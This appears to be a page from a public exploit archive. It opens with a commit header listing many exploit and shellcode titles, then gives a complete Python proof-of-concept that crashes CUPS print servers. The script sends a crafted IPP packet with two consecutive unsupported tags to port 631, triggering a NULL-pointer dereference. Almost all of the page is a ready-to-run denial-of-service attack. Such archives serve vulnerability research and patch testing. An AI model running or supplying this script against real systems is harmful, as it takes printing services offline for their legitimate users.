880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
90 lines
No EOL
3.2 KiB
Python
Executable file
90 lines
No EOL
3.2 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/35169/info
|
|
|
|
CUPS is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when processing two consecutive IPP_TAG_UNSUPPORTED tags in specially crafted IPP (Internet Printing Protocal) packets.
|
|
|
|
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
|
|
|
|
from struct import pack
|
|
import sys
|
|
import socket
|
|
|
|
class IppRequest:
|
|
"""
|
|
Little class to implement a basic Internet Printing Protocol
|
|
"""
|
|
def __init__(self, host, port, printers, hpgl_data="a"):
|
|
self.printers = printers
|
|
self.host = host
|
|
self.port = port
|
|
self.hpgl_data = hpgl_data
|
|
self.get_ipp_request()
|
|
|
|
def attribute(self, tag, name, value):
|
|
data = pack('>B',tag)
|
|
data += pack('>H',len(name))
|
|
data += name
|
|
data += pack('>H',len(value))
|
|
data += value
|
|
return data
|
|
|
|
def get_http_request(self):
|
|
http_request = "POST /printers/%s HTTP/1.1\r\n" % self.printers
|
|
http_request += "Content-Type: application/ipp\r\n"
|
|
http_request += "User-Agent: Internet Print Provider\r\n"
|
|
http_request += "Host: %s\r\n" % self.host
|
|
http_request += "Content-Length: %d\r\n" % len(self.ipp_data)
|
|
http_request += "Connection: Keep-Alive\r\n"
|
|
http_request += "Cache-Control: no-cache\r\n"
|
|
return http_request
|
|
|
|
def get_ipp_request(self):
|
|
operation_attr = self.attribute(0x47, 'attributes-charset', 'utf-8')
|
|
operation_attr += self.attribute(0x48, 'attributes-natural-language', 'en-us')
|
|
operation_attr += self.attribute(0x45, 'printer-uri', "http://%s:%s/printers/%s" % (self.host, self.port, self.printers))
|
|
operation_attr += self.attribute(0x42, 'job-name', 'foo barrrrrrrr')
|
|
operation_attr += self.attribute(0x42, 'document-format', 'application/vnd.hp-HPGL')
|
|
|
|
self.ipp_data = "\x01\x00" # version-number: 1.0
|
|
self.ipp_data += "\x00\x02" # operation-id: Print-job
|
|
self.ipp_data += "\x00\x00\x00\x01" # request-id: 1
|
|
self.ipp_data += "\x01" # operation-attributes-tag
|
|
self.ipp_data += "\x0f\x0f"
|
|
# self.ipp_data += operation_attr
|
|
self.ipp_data += "\x02" # job-attributes-tag
|
|
self.ipp_data += "\x03" # end-of-attributes-tag
|
|
self.ipp_data += self.hpgl_data;
|
|
return self.ipp_data
|
|
|
|
def main():
|
|
|
|
try:
|
|
printer = sys.argv[1]
|
|
host = sys.argv[2]
|
|
except:
|
|
print "[+] Usage: exploit printer_name host"
|
|
return 0
|
|
|
|
data = "A"*100
|
|
|
|
ipp = IppRequest(host,"80", printer, data)
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
|
|
print "[+] Connecting to the host"
|
|
s.connect((host, 631))
|
|
|
|
#requests = ipp.get_http_request()
|
|
#for each in requests:
|
|
# s.send(each)
|
|
|
|
print "[+] Sending request"
|
|
s.send(ipp.get_http_request())
|
|
s.send("\r\n")
|
|
|
|
print "[+] Sending ipp data"
|
|
s.send(ipp.get_ipp_request())
|
|
|
|
print "Response:%s" % s.recv(1024)
|
|
print "done!"
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main()) |